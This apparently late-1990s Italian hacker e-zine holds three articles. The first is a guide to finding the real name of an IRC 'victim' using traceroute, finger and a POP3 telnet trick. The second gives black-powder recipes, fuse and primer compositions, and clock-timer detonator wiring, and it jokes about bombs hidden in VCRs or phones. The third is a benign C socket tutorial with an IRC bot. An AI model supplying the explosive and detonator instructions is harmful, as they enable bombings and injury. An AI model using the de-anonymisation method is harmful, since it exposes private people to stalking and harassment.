3) Prendete il fido Traceroute e tracciate l'ip di cui sopra
es. tracert 123.123.123.123
Il traceroute buttera' fuori un po' di numeri (tutti a caso i seguenti)

es.
ms IP
1) 111.111.111.111 (vostro IP)
2) 123 111.111.111.55
3) 435 120.122.222.111
.....
15)timeout (vuol dire che non ha risposto in tempo)
.....

21) 203 123.123.123.7
22) 525 123.123.123.123
host reached

(se avete una connessione del cazzo e vi va in timeout proprio sul penultimo
o su tutti provate se il programma di trace ve lo permette ad aumentare il
tempo di timeout oppure vendete il culo)

4) Prendete il PENULTIMO Ip (123.123.123.7) e sbattetelo nel finger:

finger 123.123.123.7

Qui viene il bello: o avete una risposta tipo:

No information given, Nothing to finger, Unable to Connect
o boiate simili, oppure .... (i nomi sono a caso):

1 tty 1 gpedrelli Async interface 0
2 tty 2 prossi Async interface 0
3 tty 3 mbenelli Async interface 0
4 tty 4 sodomyspa Async interface 0
5 tty 5 demo Async interface 0
....

cioe' l'elenco di tutte le persone connesse !!
Tra queste ci sara' sicuramente il vs obiettivo, a volte puo' essere
che se Ebreo era collegato su ppp2.provider.it allora esso corrisponda
alla linea n.2 ma non e' detto, penso dipenda dall'assegnazione delle linee
da parte dei provider, comunque facendo una serie di controlli
incrociati a diversi orari e in diversi giorni potete riuscire a scremare
le infoz e a trovare chi cazzo e' la vostra vittima.
Un'altra cosa, a volte si e' ancora piu' fortunati, si ottiene anche
Nome e Cognome direttamente della persona, altrimenti ci vuole un po'
di malizia e di fortuna per risalire dallo username ai dati personali,
vado ad illustrare come :

P.S. Questa parte e' farina del mio culo, ehm, sacco, quindi me ne
prendo il merito :-))

[B] Come risalire al nome e cognome di una persona sapendone lo username?

Prendiamo x buono che lo username sia prossi
Allora, premettendo che come al punto precedente la cosa puo' funzionare
o meno, l'importante qui e' scoprire qual e' il server di posta elettronica
del provider della vittima; se lo sapete gia' xche' magari ha il vs stesso
ISP bene, altrimenti fate cosi', le alternative sono tre a mio modesto
avviso:

1) Interrogate con il servizio Whois il database Internic che contiene tutti
i nomi registrati, cercando il nome del provider, di li' si potrebbe risalire
ai domini registrati ai provider, ma questa e' secondo me la strada piu'
lunga e non la ho ancora testata bene (anche xche' preferisco i metodi 2-3)
PS: Anche il whois e' dentro insieme alle suite con finger, traceroute etc..,
se proprio dovete scaricarne una prendetene una completa, magari con anche
portscan, scan di un range di ip etc...

2) Si prova a caso una serie di server predefiniti es :
prossi@provider.it / prossi@mail.provider.it
prossi@mailer.provider.it / prossi@pop.provider.it
prossi@pop3.provider.it / prossi@mbox.provider.it

Ma cosi' non si finisce piu' e non si sa se funziona o no, allora eccovi
il MIO metodo, quello sacro :-)

3) Spiegazione quasi tecnica (spero non siano boiate, comunque rendono l'idea): :
quando voi cercate di mandare una mail ad un tipo, la spedite a
username@provider.it, non a username@mail.provider.it o altro, quindi vuol
dire che il provider automaticamente rigira le mail in entrata sul server
di posta, la stessa cosa viene fatta per il servizio di posta POP cioe'
se voi cercate di collegarvi a www.provider.it sulla porta 110 (cioe'
fate finta di essere un client di posta) esso vi rigirera' sul vero
server di posta POP !!! Cio' sfortunatamente non funziona col servizio
FINGER, quindi se voi provate a fingerare username@provider.it NON SARETE
RIGIRATI sul server di posta e quindi non riuscirete ad interrogarlo.
"Si', ma in sintesi hai rotto i coglioni, come si fa ?" OK OK Calma arrivo,
praticamente se voi prendete il fido telnet (in win95 esegui: telnet, con
linux non lo so e comunque se avete linux e non sapete usare il telnet siete
delle merde), e specificate come Nome Host: www.provider.it e come porta
110 (RICORDATEVI LA PORTA, NON LASCIATE telnet!!) cercherete di collegarvi
via pop al provider, il provider vi rigirera' automaticamente sul server
di posta dicendovi una cosa simile a :

+OK sodomia.provider.it POP3 SERVER Ready to Rock at 10/02/98.....

Ecco li': sodomia.provider.it (e' un esempio :)) e' il server di posta,
a questo punto riprendete il fido finger e fate:

finger prossi@sodomia.provider.it

Le alternative sono anche qui:

Nothing to Finger, Unable to connect, User unknown ecc...

Oppure un bel risultato tipo (ovviamente la struttura puo' cambiare, sparo
a caso xche' non ho un risultato sotto mano):

Username : prossi Paolo Rossi

Last login : 12.01.98 at 13:00

Mail on Server : 2

Fatto !!

P.S.: (Nota tecnica) gli username, come penso saprete, non sono sempre del
tipo inizialenomeecognome, ma posso essere quel cazzo che uno vuole,
tipo Rodman69 o Shakal666, Sodomita etc...

DIOSCLAIMER: Io non so niente, non ho visto niente, non sono responsabile,
non c'ero e se c'ero stavo trombando, non mi rompete il cazzo se fate
danni etc...

AVVISO: Bene o male quello che ho scritto e' giusto o almeno funziona,
se qualcuno che sicuramente ne sa piu' di me vuole segnalarmi errori, orrori
omissis o altro, lo faccia pure, soprattutto sulla parte del whois e sulla
mia spiegazione quasi tecnica del rigiro; come diceva gia' +Orc nelle sue
guide: "homines, dum docent, discunt".

Ciao a tutti,
Cavallo de Cavallis
<cavallo@cryogen.com>
Cavallo De Cavallis


ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍMiSCÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ THE ALCHEMiST'S NEST ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Il materiale che segue e' a puro scopo divulgativo, nessuno si prendera' la
responsabilita' x la perdita del vostro braccio o per aver disintegrato il
garage o peggio x avere messo una OD82 all'adorato cane del vicino che vi
sveglia alle 3 del mattino. Quindi se ne consiglia la lettura ad un pubblico
maturo. Tutti gli articoli sono stati raccolti per motivi puramente informativi
e con la loro raccolta non si intende approvare ne' tantomeno incitare alcuno a
riprodurre qualsiasi composto descritto nel materiale raccolto. Cio' e'
soltanto per godimento della lettura e non e' inteso per uso reale. In Italia
e' severamente vietato riprodurre le azioni qui descritte...in poche parole, ce
ne laviamo le mani.

Consumo: 1 Coke (coca cola disgraziati non pensate male :D
2 panini al prosciutto crudo
7 Malboro

Musica: Daft Punk, West Ban, AphexTwin, Prodigy

Frase del mese: Oh my god that's the funky shit! (Ketty Palmer - Prodigy)

Saluti: Morpheo, Jester, Sidewinder, O2, T1000, Datalizk, all crew of 414s,
Pumping Vibes, The BadLands and System Down, respect to mr Icom,
Franko21 e tutti gli amici e sopratutto nemici (maathafakazs) di ircnet
e undernet.

OVERVIEW

-Composizione:
Nella polvere nera un eccesso di carbone accelera la combustione,
un eccesso di salnitro la ritarda, un eccesso di zolfo la rende + conservabile,
ma porta al deterioramento delle armi (se si usa x il carico del bossolo).

Ecco un buon esempio di cocktail, ovviamente il resto viene dalla vostra
fantasia =)

ÚÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄ¿
³ Fossano ³ T.Franc ³ Caccia ³ Var.nte ³ Mina ³ Var.nte ³
ÚÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄ´
³Salnitro³ 75 ³ 74.0 ³ 74.84 ³ 78 ³ 66.03 ³ 85 ³
ÃÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄ´
³Carbone ³ 10 ³ 10.5 ³ 11.84 ³ 10 ³ 10.45 ³ 14 ³
ÃÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄ´
³Zolfo ³ 15 ³ 15.5 ³ 13.22 ³ 12 ³ 23.52 ³ 1 ³
ÀÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÙ

Per testare il vostro cocktail da provetti guastatori bruciate un mucchietto di
polvere sulla carta, esso deve non solo non danneggiarla, ma non lasciare su di
essa alcuna traccia della combustione:

- D: Traccia nera? R: Eccesso di carbone.
- D: Traccia gialla? R: Eccesso di zolfo.
- D: Forato la carta? R: Contiene sporcizia.
- D: Vi lascia striscie nere sulla mano? R: Umida.

Il + attento :)) avra' sicuramente notato che chiamo questo composto polvere
nera e non polvere pirica. Sono polveri piriche le polveri senza fumo, cioe'
quelle che quando esplodono generano soltanto gas perfetti e vapore acqueo.
Purtroppo il fumo della polvere nera e' dovuto alla polvere in cui si trovano
le rimanenti ceneri in seguito all'esplosione, quindi e' ovvia l'utilita' delle
polveri senza fumo in guerra, che sono a base di fulmicotone.

MICCE

-Cazzutissima:
Bollite corde vecchie x 10 minuti con il 5% di nitrato di
potassio. Si estraggono, si torcono e si tendono all'ombra fino alla secchezza
perfetta. Si conservano all'asciutto. (Var.nte) Usando l'acetato di piombo in
luogo del nitrato potassico 1m brucia in 6 ore, usando il nitrato di piombo 1m
brucia in 3 ore.

-A tempo:
Si intasa di polvere finissima un cilindro di stagno o piombo in lega, e si
tira poi alla filiera. Lo potete utilizzare x shrapnells, bombe illuminanti
etc.

-Da mina:
Doppio involucro di spago incatramato, contenente un sottile (oserei
dire sottilissimo) filo di polvere. Brucia 1cm al minuto.

-Incendiva:

Polverino................1 kg
Gomma arabica...........20 g
Acqua...................50 g
Alcole...................1 l

Il polverino e' costituito da polvere nera finemente macinata. Per avere una
pasta incendiva + dura basta ridurre la quantita' di alcole.

-Lenta:
Si fa bollire un cordoncino di cotone idrofilo in una soluzione di un
litro d'acqua e 50g di acetato di piombo. Si asciuga e si porta in una
soluzione di cromato di potassio preparato con 1 parte di sale in 1 parte di
acqua. Si lascia essiccare all'aria. Si arrotola strettamente su se stesso un
foglio di carta consistente, imbevuta di salnitro (+salnitro = +velocita').

-Rapida:
Si impiega una soluzione di salnitro in 10 l d'acqua. Il cordoncino essiccato
viene immerso in matassa nella detta soluzione, vi si lascia da 6 a 12 ore, poi
si spreme e si essicca. Si prepara avviluppando 3 stoppini in un tessuto
impermeabile, rivestendo con carta catramata. Serve x luoghi umidi o x
accensioni subacquee. Brucia fino a 100 m in un minuto...okkio al kranio :)

INNESCHI

Gli innescanti servono a provocare con la loro violenta detonazione
l'esplosione di tutte le altre sostanze esplosive. La detonazione dell'innesco
puo' essere provocata in tre modi: con miccia a lenta combustione, con
esploditori elettrici o con un sistema a percussione qualsiasi. X quest'ultimo
caricate un bel Hardcore o Industrial e avvicinate il tutto al vostro
subwoofer, vedrete che strobo! Meglio che in disco :) _RAVERS RULEZ!!!_

Zirconio in polvere....................37 p
Fulminato di mercurio..................35 p
Nitrato di bario.......................40 p
Trisolfuro d'antimonio.................15 p

-Capsule ad accensione elettrica:
Clorato di potassio....................43 p
Solfuro d'antimonio....................43 p
Zolfo..................................14 p

P.S.: aggiungendo vetro in polvere aumenta la sensibilita'.

Lo so lo so, so gia' cosa state pensando "Che palle basta teoria voglio la
pratica!!!"
ehehe sanguinari :)

Un innesco di facilita' disarmante lo trovate dal vostro tabaccaio di fiducia,
alla modica cifra di + o - 5000 lire... bravi avete indovinato: le sigarette.
Una sigaretta dura all'incirca 8 minuti senza che ci siano agenti esterni vedi
vento, qualcuno che la fuma :)) etc. Ovviamente piu' condensato ha la suddetta
cicca piu' bruciera' lentamente...vedi anche diametro..se ha un diametro di un
metro e aspettate mezzanotte x fare i fuochi artificiali non accendetelo alle
23.45 ^_^ ... e comunque assicuratevi sempre che ci sia abbastanza ossigeno. Ad
esempio se la sigaretta fosse in un tubo non adeguatamente ventilato si
spegnerebbe miseramente.

_Foro x miccia
/
ÚÄÄÄÄÄÄÄÄÂÄÄÄÄ/ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ ³ <> ³
ÀÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
|_Filtro

Bene, adesso un altro sistemino: x trasformare facilmente la vecchia sveglia
della nonna in un timer da film di serie B non penso che ci voglia un genio..
il disegno fatto con il 3DStudio Max si spiega da solo..alle 5.00 il circuito
si chiude e paff si accende la luce :)) il problema di questo tipo di timer e'
che avete solo 12 ore di tempo utile..

__All'innesco
|
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ |
³ 12 ³ | __Dall'innesco
³ 0------->---------- |
³ \ ³ |
³ \ ³ |
³ \ ³ |
³ \ ³ |
³ 9 \. 3 ³ |
³ \ ³ |
³ \ ³ |
³ \ ³ (polo |
³ \ ³ positivo)|
³ 0-----<---------- + -- - (polo negativo)
³ 6 ³ | |
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ |------
|
ÚÄÄÄÄÄÄÄÄÄÄÄ¿
³ Batteria ³
ÀÄÄÄÄÄÄÄÄÄÄÄÙ

...si comincia a ragionare meglio con un timer digitale. Prendete una sveglia
digitale qualsiasi, togliete lo speaker e usate i fili che erano collegati allo
speaker x l'innesco, settate l'ora e il gioco e' fatto. Qui il tempo a vostra
disposizione e' di 24 ore. Ovviamente anche qui vi lascio alla vostra fantasia:
pensate ad un videoregistratore, di solito hanno un timer da una settimana se
non da un mese o addirittura un anno, oppure pensate allo showview...c'e vostra
sorella che vuole registrarsi il video delle Spice Girls e voi cosa fate? Una
microcarica nel vcr e ding niente concerto :)) (see e il vcr chi lo paga?...
cazzi vostri) insomma di timer ne trovate a valanga. Se proprio volete fare i
cattivi, prendete esempio dal Mossad (il servizio segreto israeliano), il
cellulare...eheheheh ....pensate: lo portate sempre con voi e quando rispondete
ve lo mettete vicino alla faccia...meglio di cosi'!...(Telecom Italia Mobile:
l'utente da lei chiamato e' momentaneamente... morto! uaz uaz uaz). Io se fossi
in voi la prossima volta che vi deve telefonare la vostra ragazza ci penserei
due volte a rispondere ^_^... Il mondo e' pieno di cattivoni... scegliete voi
se essere Aquile o pecore... (meglio camaleonti).

CU LATER
<EOF>199802280619
CancerM


ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍMiSCÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ GUiDA ALL'UTiLiZZ0 DEi S0CKET ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍͼ
-iNTERNET PR0GRAMMiNG-

Ogni informazione che circola su internet, come di certo saprete, e'
"decomposta" in una serie di pacchetti organizzati secondo opportuni proto-
colli. L'accoppiata TCP/IP e' la piu' usata per le normali comunicazioni
client-server. L'UDP e l'ICMP sono impiegati in situazioni particolari.
L'uso "diretto" di questi protocolli richiederebbe uno sforzo non
indifferente per il programmatore. In linea di principio un programma dovreb-
be:
a) suddividere i dati da trasmettere;
b) costruire i pacchetti secondo il protocollo usato;
c) controllare errori nella struttura dei pacchetti ricevuti;
d) controllare gli errori di "instradamento" tipicamente segnalati col
protocollo ICMP...

Fortunatamente, un simile lavoraccio e' svolto in gran parte dal
sistema operativo e da opportune librerie che con esso si interfacciano. Il
mezzo attraverso il quale tale compito viene eseguito e' il socket (letteral-
mente: presa elettrica).
In questo articolo vedremo come e' possibile usare i socket nei siste-
mi operativi Linux e Win95 sottolineando le similitudini e le differenze nei
due ambienti. Il linguaggio di riferimento sara' il C "liscio", che suppongo
conosciate almeno per sentito dire... (non lo conoscete?? BLAAAAAAAAAH!! :)


1.0 IL MODELLO CLIENT/SERVER

Lo scopo dei socket e' quello di consentire la comunicazione tra pro-
cessi secondo il modello client/server. Supponiamo che il processo A debba
servirsi del processo B per espletare un compito. A inviera' i dati da elabo-
rare a B e B inviera' i risultati dell'elaborazione al processo A. Il tutto e'
schematizzabile come segue:

Socket Socket
A ----------> B ...elaborazione... A <---------- B

in questo ambito il processo A e' detto client, il processo B e' invece il
"server". Il processo B puo' risiedere nella stessa macchina (processo locale)
oppure su un'altra macchina (processo remoto). Naturalmente a seconda della
situazione verranno usati protocolli diversi per la comunicazione tra i pro-
cessi: mediante i socket la gestione dei protocolli di comunicazione diviene
del tutto trasparente. E' inoltre possibile implementare "nuovi" tipi di pro-
tocolli senza dover rinunciare all'uso dei socket.
In questo documento prenderemo in esame l'uso dei socket per la comu-
nicazione tra processi remoti (tipicamente attraverso Internet). E' questa la
situazione, per esempio, dei programmi mIrc e BitchX (client) e il daemon ircd
(server) che gira sugli host irc.tin.it, irc.ncal.verio.net ecc...


2.0 FILE HEADER NECESSARI

Vediamo ora come permettere ai nostri programmi di poter usare i so-
cket e le funzioni per gestirli.


2.0.1 LINUX

Il primo ambiente unix a implementare i socket fu la versione 4.2 BSD
del Berkeley UNIX ed ancora oggi ci si riferisce alle specifiche BSD. I pro-
totipi, le macro e le costanti per la gestione dei socket sono contenuti nei
seguenti file .h:

sys/types.h
sys/socket.h
netinet/in.h
netdb.h

presenti nel path di default degli file include. In realta' esistono una serie
di altri file .h che contengono i prototipi e le strutture dati per l'utilizzo
di protocolli meno usuali del TCP/IP.
Usando le dichiarazioni di questi file potete essere sicuri di ottene-
re un codice portatile anche su altre piattaforme unix (i socket BSD sono un
quasi-standard).


2.0.2 WIN '95

La gestione dei socket sotto Windows 95 e' affidata alla libreria
winsock.dll a 16 bit e alla Wsock32.dll a 32 bit. La specifica delle funzioni
ricalca quella dei socket BSD ma introduce una serie di funzioni specifiche
per l'utilizzo sotto windows (caratterizzate dal prefisso WSA nel loro nome).
La Micro$oft ha rilasciato una serie di nuove versioni delle librerie. L'ulti-
ma in ordine di tempo e' la winsock 2.2 che viene fornita insieme ad un "nu-
trito"
SDK. L'unico file da includere per il supporto dei socket e' winsock.h
sia per la versione a 16 che per quella a 32 bit. In fase di compilazione si
scegliera' (automaticamente o manualmente) la dll da usare.


3.0 CREARE UN SOCKET

Il socket, dal punto di vista del linguaggio C, e' un descrittore di
file. Cosi' come ad un file viene assegnato mediante la funzione fopen() un
numero intero che lo identifica (il descrittore, appunto), cosi' un socket e'
identificato da un numero intero. In luogo di fopen(), per creare un socket si
usa la funzione:

int socket (int af, int type, int protocol)

af: specifica il formato degli indirizzi; AF_INET e' il valore necessa-
rio per gli indirizzi internet;
type: puo' assumere essenzialmente tre valori: SOCK_STREAM, per le comuni-
cazioni via TCP, SOCK_DGRAM per quelle UDP, SOCK_RAW per le comuni-
cazioni per le quali e' il programma stesso a costruire i pacchet-
ti (come, ad esempio, nei nuke);
protocol: "forza" il socket ad usare un assegnato protocollo; nella maggior
parte dei casi si pone a 0 in modo che il sistema scelga il proto-
collo piu' adatto.

Restituisce un handle al socket appena creato: il valore di ritorno
e' negativo in caso di errore.


Quindi per creare un socket per comunicazioni via TCP basta scrivere
qualcosa del genere:

int s;
...
s = socket (AF_INET, SOCK_STREAM, 0);

In ambiente windows, prima di creare un socket e' necessario inizia-
lizzare il modulo che lo gestisce mediante la funzione WSA_Startup:


int PASCAL FAR WSAStartup (WORD wVersionRequired,
LPWSADATA lpWSAdata);

wVersionRequired: E' la versione del modulo winsock che l'applicazione richie-
de. Il byte piu' significativo e' la "minor version", quel-
lo meno significativo e' la "major version".
lpWSAData: puntatore ad una struttura WSADATA:

struct WSAdata {
WORD wVersion;
WORD wHighVersion;
char szDescription[WSADESCRIPTION_LEN+1];
char szSystemStatus[WSASYSSTATUS_LEN+1];
unsigned short iMaxSockets;
unsigned short iMaxUdpDg;
char FAR * lpVendorInfo;
};

essa contiene una serie di informazioni sul modulo di rete.
I campi piu' interessanti sono iMaxSocket (massimo numero di
socket utilizzabili), wHighVersion (versione piu' "alta"
supportata dalla winsock.dll in uso) e una serie di stringhe
per l'identificazione del "produttore" del modulo.

Se qualcosa e' andato storto il valore in uscita sara' non
nullo.

3.1 CONNETTERSI AD UN SERVER

Una volta creato il socket bisogna connetterlo all'host sul quale gi-
ra il server. Prima di passare alle funzioni necessarie, e' necessaria una
panoramica sul "byte order".

3.1.1 IL BYTE ORDER

I valori numerici su un computer basato su processore Intel sono orga-
nizzati in byte ordinati dal meno al piu' significativo. Internet, invece, ri-
chiede che i valori numerici presenti nell'header dei pacchetti siano ordinati
in ordine inverso.
Esistono una serie di funzioni che si incaricano della conversione:

long ntohl (long netlong)
long htonl (long hostlong)
short ntohs (short netshort)
short htons (short hostshort)

il significato e' chiaro: htonl, per esempio, converte l'intero lungo
hostlong (che e' nel formato Intel) in un intero lungo in formato "network".

3.1.2 LE STRUTTURE NECESSARIE ALLA CONNESSIONE

Dove mettiamo i parametri (essenzialmente indirizzo e porta) del ser-
ver al quale collegarci? In una apposita struttura:

struct sockaddr {
short sa_family;
char sa_data[14];
};

che, nel caso di comunicazioni attraverso Internet diventa:

struct sockaddr_in {
short sin_family;
short sin_port;
struct in_addr sin_addr;
};

e infine (uff!!) :

struct in_addr {
long s_addr;
};

Riferendoci a sockaddr_in, sin_family e' sempre settato a AF_INET,
sin_port e' la porta alla quale connetterci, e sin_addr e' l'indirizzo del
server organizzato in un intero lungo (ricordate il byte order!!).

3.1.3 INTERROGARE IL DNS

Per riempire le strutture appena viste, e' necessario conoscere l'in-
dirizzo numerico dell'host cui collegarsi. Spesso e' noto solo l'indirizzo
alfanumerico... come risalire dall'uno all'altro? Bisogna interrogare il do-
main name server (DNS) mediante apposite funzioni:

struct hostent *gethostbyname (char *name)

name: stringa contenente il nome dell'host da cui ricavare l'ip numerico.

In uscita abbiamo una struttura di tipo hostent.

Della struttura in uscita utilizzeremo il campo char *h_addr che con-
tiene l'ip numerico codificato come char. Un tipico esempio di utilizzo puo'
chiarire molte cose:

struct hostent *hp;
struct sockaddr_in address;
...
hp = gethostbyname ("www.persiankitty.com");
memset(&address,0,sizeof(address));
memcpy((char *)&address.sin_addr,hp->h_addr,hp->h_length);
address.sin_family = AF_INET;
address.sin_port= htons((u_short)porta);

In queste righe possiamo vedere come riempire la struttura address a
partire dal risultato di gethostbyname.
Esiste anche la funzione inversa, gethostbyaddr, che consente di ot-
tenere l'indirizzo alfanumerico a partire dall'indirizzo numerico. La esami-
neremo piu' avanti.

3.1.4 LA CONNESSIONE

Il primo passo da fare e' associare al socket un indirizzo "locale";
e' possibile fare cio' tramite la funzione bind(); tale passaggio e' necessa-
rio solo nel caso in cui si stia costruendo un applicazione server (vi riman-
do alla seconda parte).
La funzione che invia una richiesta di connessione e':

int connect (int s, struct sockaddr *name, int namelen)

s: Socket non ancora connesso che si vuole usare per la comunicazione.
name: Struttura che continene i parametri per la connessione. Tali para-
metri vengono utilizzati per individuare l'ip e la porta del server
verso cui inviare la richiesta di connessione.
namelen: Specifica la dimensione in byte della struttura name

L'uscita,se non ci sono errori e' uguale a zero, altrimenti e' -1

Naturalmente, e' possibile avere maggiori info sul tipo di errore che
si e' verificato, ma di questo parleremo in seguito. Notiamo come connect ac-
cetti una struttura sockaddr e non un sockaddr_in: niente di strano, sockaddr
e' piu' generica rispetto alla struttura sockaddr_in usata esclusivamente per
gli indirizzi in internet. Per Win95 c'e' solo da specificare meglio il pro-
totipo della funzione:

int PASCAL FAR connect (SOCKET s, const struct sockaddr FAR * name,
int namelen);

3.1.5 INVIARE DATI ATTRAVERSO UN SOCKET

Esistono diverse funzioni per poter inviare dati attraverso un so-
cket. In ambiente Linux, il socket puo' essere considerato un vero e proprio
identificatore di file, e, in quanto tale, si possono usare le funzioni re-
ad() e write() per leggere o scrivere:

int read(int socket, char *buffer, int numbyte);
int write(int socket, char *buffer, int numbyte);

socket: identificatore del socket (connesso) dal quale leggere o sul quale
scrivere;
buffer: area di memoria in cui verranno memorizzati i caratteri da leggere
o in cui sono memorizzati quelli da scrivere;
numbyte: numero di caratteri da leggere o scrivere;

In uscita abbiamo il numero di caratteri effettivamente trasferiti
o un intero minore di zero in caso di errore

C'e' solo una differenza sostanziale fra la lettura e la scrittura
dei socket e dei file: non sempre si ottengono lo stesso numero di caratteri
richiesti, sicche' e' necessario usare un loop fino a quando il numero di
caratteri desiderato e' stato letto o scritto. Una semplice funzione per
leggere un prefissato numero di caratteri in un buffer e' la seguente:

int read_data(int s, /* un socket collegato */
char *buf, /* puntatore al buffer */
int n /* numero di caratteri (byte) da leggere */
)
{
int bcount; /* contatore dei byte letti */
int br; /* byte letti in un ciclo */

bcount = 0;
br = 0;
while (bcount < n) { /* loop finche' il buffer non e' pieno */
if ((br= read(s,buf,n-bcount)) > 0) {
bcount += br; /* incrementa il contatore dei byte */
buf += br; /* muovi il puntatore del buffer */
}
else if (br < 0) /* segnala un errore al chiamante */
return(-1);
}
return(bcount);
}

Una funzione del tutto analoga si puo' usare per la scrittura.
Un approccio del genere e' possibile solo sotto linux. Un ulteriore
metodo per comunicare attraverso un socket connesso e' usare le funzioni
specifiche recv() e send()(usare tali funzioni e' una necessita' in win95):

int recv (int s, char *buf, int len, int flags);
int send (int s, char *buf, int len, int flags);

I parametri sono identici a read() e a write(). L'ulteriore parametro
flags consente di attivare funzioni particolari come gli OOB (un aspetto che
non affronteremo); puo' essere tranquillamente posto a zero. Il valore in
uscita consente un miglior controllo sugli errori.
Una cosa importante da notare e' che le funzioni di questo paragrafo
operano solo a connessione gia' avvenuta, e solo con socket di tipo SOCK_STREAM.
Le funzioni recvfrom() e sendto() possono operare anche "senza controllo di
flusso"
come meglio vedremo quando parleremo dei raw socket.

3.1.6 CHIUDERE LA COMUNICAZIONE

Nella migliore tradizione Unix, per chiudere un socket, e quindi la
connessione, potete limitarvi a usare una close(int socket). Esiste, pero',
una maniera piu' specifica per chiudere un socket:

int shutdown(int socket, int mode)

socket: socket da chiudere
mode: modo di chiusura; puo' assumere i valori:
0) il socket continua a ricevere ma e' chiuso per le
operazioni di scrittura;
1) il socket puo' continuare a trasmettere ma e' chiuso
in ricezione;
2) il socket viene chiuso completamente

Come al solito, in caso di errore, otteremo un valore negativo

La funzione shutdown, pero', non libera le risorse associate al so-
cket ed e' necessario richiamare la funzione closesocket (int socket) dall'
ovvio significato.
Sotto win95 dopo aver provveduto a chiudere un socket con closesocket()
e' necessario richiamare un'ulteriore funzione per la deallocazione delle
risorse:

int PASCAL FAR WSACleanup (void)

dopo una chiamata a WSACleanup() la dll di gestione dei socket, se non e' uti-
lizzata da altre applicazioni, viene deallocata.


4.0 UN ESEMPIO DI CLIENT

Passiamo alla pratica... come esempio di client vi propongo il sorge-
nte di uno spartano bot per irc. E' scritto per linux, ma dovrebbe fungere
anche su altri Unix. Se avete win 95, l'aggiunta dell'interfaccia col sistema
operativo e' a carico vostro!! :DD
Non prendetelo come esempio di stile di programmazione in C!!


#include <sys/types.h> /* un po' di .h non fanno mai male */
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

int main(void) {
int s, irchandle;
FILE *in, *out;
unsigned short porta=6666;
struct sockaddr_in address;
struct hostent *hp;
char inrig[1024], inrig2[1024]; /* stringhe provenienti dal server */
char *comando;
char *botnick = {"kgb001"};
char *kickstr = {"KICK"};
char *pingstr = {"PING"};
char *cmdstr={":_CMD_"}; /* pass per comunicare con il bot */
char *stpstr={"_STP_"};
int finecomando;

s=socket(PF_INET, SOCK_STREAM, 0); /* si inizia!! creami un bel socket */
if (s == -1) {
perror("socket()");
exit(1);
}

/* indovinate a che server ci colleghiamo!! Non fatevi sgamare, pero'!! */
if ((hp= gethostbyname("irc.tin.it")) == NULL) {
perror("gethostbyname()");
exit(1);
}

comando = (char *) malloc(1024);

/* riempiamo la struttura address con i parametri di irc.tin.it */
memset(&address,0,sizeof(address));
memcpy((char *)&address.sin_addr,hp->h_addr,hp->h_length);
address.sin_family = AF_INET;
address.sin_port= htons((u_short)porta);

/* ok, proviamo a connetterci */
irchandle = connect(s, (struct sockaddr *) &address, sizeof(address));
if (irchandle == -1) {
perror("connect()");
exit(1);
}

in = fdopen(s, "r"); /* questa parte e' una finezza che vi spiego dopo */
out = fdopen(s, "a");
setbuf(in, NULL);
setbuf(out, NULL);


/* registriamoci e creamoci un canale anti-idle (cambiatelo!! =) */
fprintf(out, "NICK %s\n", botnick);
fprintf(out, "USER CIA CIA CIA CIA\n");
fprintf(out, "JOIN #SSZZ267\n");
fprintf(out, "MODE #SSZZ267 +imspn\n");

/* siamo collegati al server, ed entriamo nel ciclo principale */
for (;;) {
fscanf(in, "%s", inrig);
if ( strcmp( inrig, pingstr ) == 0) { /* gulp!! il server ci pinga */
fprintf(out, "PONG\n"); /* rispondiamo!! */
fprintf(out, "PRIVMSG #SSZZ267 CIAO\n"); /* e salutiamo l'anti-idle */
}

if ( strcmp( inrig, kickstr) == 0 ) { /* toh.. ci hanno dato un kick... */
fscanf(in, "%s", inrig2); /* proviamo a rientrare!! */
fscanf(in, "%s", inrig);
